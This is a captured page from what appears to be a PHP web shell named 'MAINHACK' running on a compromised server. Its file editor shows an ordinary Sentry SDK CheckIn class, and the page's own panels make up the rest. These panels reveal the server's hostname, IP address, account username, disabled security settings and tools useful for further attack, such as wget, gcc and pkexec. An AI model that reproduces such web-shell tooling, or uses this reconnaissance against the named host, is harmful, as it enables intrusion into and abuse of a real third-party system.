[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CheckIn.php
<?php declare(strict_types=1); namespace Sentry; use Sentry\Util\SentryUid; final class CheckIn { /** * @var string The check-in ID */ private $id; /** * @var string The monitor slug */ private $monitorSlug; /** * @var \Sentry\CheckInStatus The status of the check-in */ private $status; /** * @var string|null The release */ private $release; /** * @var string|null The environment */ private $environment; /** * @var int|float|null The duration of the check-in in seconds */ private $duration; /** * @var \Sentry\MonitorConfig|null The monitor configuration */ private $monitorConfig; /** * @param int|float|null $duration The duration of the check-in in seconds */ public function __construct( string $monitorSlug, CheckInStatus $status, string $id = null, ?string $release = null, ?string $environment = null, $duration = null, ?MonitorConfig $monitorConfig = null ) { $this->setMonitorSlug($monitorSlug); $this->setStatus($status); $this->setId($id ?? SentryUid::generate()); $this->setRelease($release ?? ''); $this->setEnvironment($environment ?? Event::DEFAULT_ENVIRONMENT); $this->setDuration($duration); $this->setMonitorConfig($monitorConfig); } public function getId(): string { return $this->id; } public function setId(string $id): void { $this->id = $id; } public function getMonitorSlug(): string { return $this->monitorSlug; } public function setMonitorSlug(string $monitorSlug): void { $this->monitorSlug = $monitorSlug; } public function getStatus(): CheckInStatus { return $this->status; } public function setStatus(CheckInStatus $status): void { $this->status = $status; } public function getRelease(): ?string { return $this->release; } public function setRelease(string $release): void { $this->release = $release; } public function getEnvironment(): ?string { return $this->environment; } public function setEnvironment(string $environment): void { $this->environment = $environment; } /** * @return int|float|null */ public function getDuration() { return $this->duration; } /** * @param int|float|null $duration The duration of the check-in in seconds */ public function setDuration($duration): void { $this->duration = $duration; } public function getMonitorConfig(): ?MonitorConfig { return $this->monitorConfig; } public function setMonitorConfig(?MonitorConfig $monitorConfig): void { $this->monitorConfig = $monitorConfig; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002